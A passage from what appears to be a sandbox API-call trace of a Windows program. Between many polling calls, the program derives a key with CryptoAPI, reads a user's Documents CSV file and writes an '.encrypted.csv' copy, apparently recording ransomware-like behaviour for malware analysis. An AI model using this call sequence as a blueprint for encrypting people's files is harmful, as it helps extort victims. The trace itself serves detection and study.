wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.933] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.933] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.933] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.933] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.934] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.934] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.934] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.934] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.934] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.936] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.936] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.936] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.936] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b840, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.936] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.936] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.936] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.936] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062aa0) returned 1 [0024.936] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.937] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.937] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.937] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.937] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0024.937] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.938] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.938] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.938] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.938] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.938] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.csv" (normalized: "c:\\users\\5jghkoaofdp\\documents\\hynwiycz.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.938] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.939] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0024.939] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\HynWIycZ.encrypted.csv" (normalized: "c:\\users\\5jghkoaofdp\\documents\\hynwiycz.encrypted.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0024.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.939] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.940] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.941] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.941] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x936d, lpOverlapped=0x0) returned 1 [0024.941] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.943] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.944] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.944] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.944] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.944] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.944] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.944] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.945] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.945] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.945] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.945] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.945] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.945] CryptGetKeyParam (in: hKey=0xe8f4062aa0, dwParam=0x7, pbData=0xe8f4064b50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.945] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.945] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.945] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.946] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.946] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.946] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x936d, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x9370) returned 1 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.946] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.947] CharLowerBuffW (in: lpsz="byte[37745]", cchLength=0xb | out: lpsz="byte[37745]") returned 0xb [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.947] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.947] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.947] CryptEncrypt (in: hKey=0xe8f4062aa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41dc450*, pdwDataLen=0xe8f3dfdf68*=0x936d, dwBufLen=0x9370 | out: pbData=0xe8f41dc450*, pdwDataLen=0xe8f3dfdf68*=0x9370) returned 1 [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.947] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.948] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.948] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.948] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.948] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 